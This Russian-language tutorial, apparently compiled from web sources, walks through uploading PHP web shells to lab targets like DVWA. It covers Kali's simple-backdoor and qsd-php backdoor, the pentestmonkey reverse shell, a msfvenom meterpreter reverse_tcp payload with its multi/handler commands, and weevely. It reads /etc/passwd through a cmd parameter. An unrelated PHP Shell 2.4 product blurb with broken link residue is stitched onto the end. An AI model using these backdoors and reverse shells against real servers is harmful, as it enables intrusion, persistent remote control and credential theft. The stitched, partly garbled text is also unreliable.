Web Shells – это специальные скрипты, которые написаны и кодируются на многих языках, таких как PHP, Python, ASP, Perl и т.д. В дальнейшем они используются в качестве бэкдора для получения доступа к любому серверу, загружая их на него.
Таким образом, злоумышленник может непосредственно выполнить операцию чтения и записи, как только бэкдор будет загружен в пункт назначения. Он способен отредактировать любой файл или удалить его с сервера. Сегодня пользователь познакомится со всеми видами PHP Web Shells, которые когда-либо были доступны на Kali Linux.
Kali Linux имеет встроенные PHP-скрипты для использования их в качестве бэкдора и облегчения работы во время пентестинга. Они хранятся внутри /usr / share/webshells / php, и пентестер может применить их, не тратя времени на написание специального PHP-кода для получения вредоносного скрипта.
Выделяют несколько видов PHP Web Shells:
- simple backdoor.php
- qsd-php backdoor web shell
- php-reverse-shell.php
Simplebackdoor.php shell
Simple-backdoor.php – это Web Shell, который может генерировать удаленное выполнение кода, однажды введенного в веб-сервер и скрипт, сделанный John Troon. Он уже доступен на Kali в папке /usr/share/web shells/php, как показано на рисунке ниже. После этого пользователь запустит команду ls-al , чтобы проверить разрешения, предоставленные файлам.
PHP — зачем его учить, что на нем пишут, зарплаты, фреймворки
cd /usr/share/webshells/php
ls -al
Теперь нужно найти способ загрузить Shell в свое приложение. Поскольку пользователь делает все это ради пентестинга, он сначала попробует использовать простой бэкдорный PHP Shell, который уже доступен на Кali. Следует нажать кнопку Отправить файл , чтобы осуществить саму загрузку.
Как можно увидеть, пользователь успешно загрузил вредоносный php-файл и получил гиперссылку на него.
Таким образом, человек пытается получить доступ к simple-backdoor.php и наблюдает следующий результат. Как заметно на картинке, здесь « cmd=cat+ / etc/passwd » является четким указанием на удаленное выполнение кода.
Итак, стоит все-таки попробовать запустить cat+ / etc / passwd, чтобы получить все пароли сервера.
В результате пользователь извлек все записи из файла passwd, следовательно, он может выполнить любую команду, такую как ls, cp и другие. Теперь он способен получить Web Shell, используя REC.
qsd-php backdoor shell
Эксплойт Web Shell обычно рассматривается как бэкдор, который позволяет злоумышленнику удаленно получать доступ к серверу и управлять им, а qsd-php backdoor shell – это своего рода оболочка, которая предоставляет платформу для выполнения системных команд и отличного скрипта, разработанного Daniel Berliner.
Как можно заметить, пользователь успешно загрузил файл qsd-php-backdoor.php.
Затем он попробовал получить доступ к qsd-php-backdoor.php, как это было сделано на предыдущем шаге. Таким образом, пользователь обнаружил то, что показано на рисунке ниже. Здесь он способен выполнить обход каталога, а также получить прямой доступ к нему, введя команду и нажав на кнопку « Go ».
Что такое PHP?
Как можно понять, пользователь смог получить доступ к текущему каталогу непосредственно без выполнения какой-либо системной команды.
Он также может выполнить произвольную системную команду, так как этот бэкдор предоставляет платформу для выполнения команд оболочки, таких как cat/etc/passwd, ls-al и многих других. Человек способен запустить две команды одновременно и наблюдать за конечным результатом.
Как можно заметить, результат не может не радовать.
PHP-reverse shell
Теперь настала пора перейти к следующему PHP Web Shell, который является php-reverse-shell.php. Он откроет исходящее TCP-соединение с веб-сервера на хост и скрипт, выполненный “pentestmonkey”. Shell будет также подключен к TCP-соединению (реверсивное TCP-соединение). С помощью этого скрипта пользователь получит возможность запускать интерактивные программы, такие как telnet, ssh и т.д. Важен тот момент, что он отличается от других скриптов Web Shell, поскольку с помощью него можно отправить одну команду, а затем мгновенно вернуть результат себе на компьютер.
Для этого пользователю нужно открыть этот скрипт через nano:
Здесь человеку нужно предоставить желаемое соединение LISTEN_IP (Kali Linux), а вот номер LISTEN_PORT можно установить любой.
Далее следует загрузить этот Web Shell, чтобы получить обратное (реверсивное) соединение. Таким образом, пользователь загрузит вредоносный файл и со своей стороны запустит netcat listener внутри нового терминала.
Видно, что загрузка была завершена успешно.
Теперь, как только пользователь запустит загруженный файл и, если все пройдет хорошо, то веб-сервер должен будет сбросить PHP-reverse shell листенеру netcat. Человек может убедиться, что он успешно захватил Web Shell.
PHP Backdoor с помощью MSFvenom
Пользователь также может создать PHP Web Shell с помощью msfvenom. Поэтому он использует следующую команду для генерации вредоносного php-кода в формате raw.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.106 lport=4444 R
Затем ему необходимо скопировать этот код и сохранить его под именем meter.РНР
Пользователь загрузит этот вредоносный Shell в лабораторию DVWA, чтобы получить реверсивное соединение. Теперь он может увидеть, что meter.php был успешно загружен. Это сообщение, показанное на скриншоте, означает, что PHP-бэкдор добрался до нужного места.
Для того чтобы запустить Shell, пользователю следует открыть URL-адрес DVWA.
Одновременно он запустит мультиобработчик, где получит meterpreter shell, и введет следующие команды: нужно указать lhost и lport, чтобы установить обратное соединение.
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.106
set lport 4444
exploit
sysinfo
Как только пользователь исследует загруженный путь и выполнит бэкдор, он получит сеанс meterpreter.
Weevely Shell
Weevely – это скрытый PHP Web Shell, который имитирует ссылку на Telnet и предназначен для выполнения удаленного администрирования серверов и тестирования на проникновение. Он может быть использован в качестве скрытого бэкдора Web Shell для управления законными веб-учетными записями. Weevely также является важным и незаменимым инструментом для постэксплуатации веб-приложений. Пользователь, таким образом, может создать PHP-бэкдор, защищенный паролем.
Человеку необходимо открыть терминал и ввести weevely, чтобы сгенерировать PHP-бэкдор, а также установить пароль. В данном случае пользователь взял учетные данные “raj123 ” и сохранил этот Web Shell как weevely.php.
weevely generate raj123 weevely.php
Теперь ему нужно загрузить PHP Web Shell в целевую папку, как в данном случае он отправил его в Web for pen testers. После этого пользователь откроет URL-адрес в браузере, чтобы запустить сам Web Shell.
Следует ввести следующие данные, чтобы инициировать атаку веб-сервера и поместить скопированный URL-адрес в команду Weevely с помощью пароля raj123. Пользователь сможет увидеть, что он получил Shell жертвы через weevely. Это можно проверить с помощью команды id:
Источник: dzen.ru
Study https://study-and-dev.com/blog/phpshell/» target=»_blank»]study-and-dev.com[/mask_link]
PHP Shell 2.4
Размер: Kb Статус (Цена) : Бесплатно ОС: Linux Дата добавления: 18.02.2012 Имя файла: phpshell-latest.tar.gz
PHP Shell is a shell wrapped in a PHP script. PHP Shell is a tool you can use to execute arbitrary shell-commands or browse the filesystem on your remote webserver. This replaces, to a degree, a normal telnet-connection.
You can use it for transferring your site as a compressed file, and then unpack it on the webserver, administration and maintenance of your website using commands like ps, free, du, df etcпїЅ
If PHP is running in Safe Mode, then you cannot use PHP Shell — sorry. Safe Mode restricts the commands that can be executed using the proc_open() call in PHP, and it also restricts the files and directories that can be accessed using other calls in PHP.
The effect is, that PHP Shell simply doesn’t work — you cannot change directory and you cannot execute any commands.
Safe Mode is often used on servers that host several websites for different users to limit the users ability to peek at each others files.
Like any other shell. When you point your browser at PHP Shell and types in your password (see the file INSTALL for more information on how to change the password), you’ll be presented with a rather simple page containing nothing much except a big window with the cursor blinking at the bottom, signaling that it’s ready to obey your commands.
Write a command and press , or alternatively — is you insist — press the «Execute Command» button. The command will be executed and the result will be shows in the terminal. You can now enter another command.
To be more precise: the terminal is updated with the command line you have just executed, the output of the command to standard out (stdout) and following that any error output sent to stderr.
The commands are executed relative to a current working directory, which is written at the top. You change this by the normal cd command.
What’s New in This Release: [ read full changelog ]
· This version fixes a bug which caused PHP Shell to stop working if the current directory was removed or made unreadable by the user or another process, some encoding problems, and Safe-mode-warning not displaying correctly.
Источник: mirsofta.ru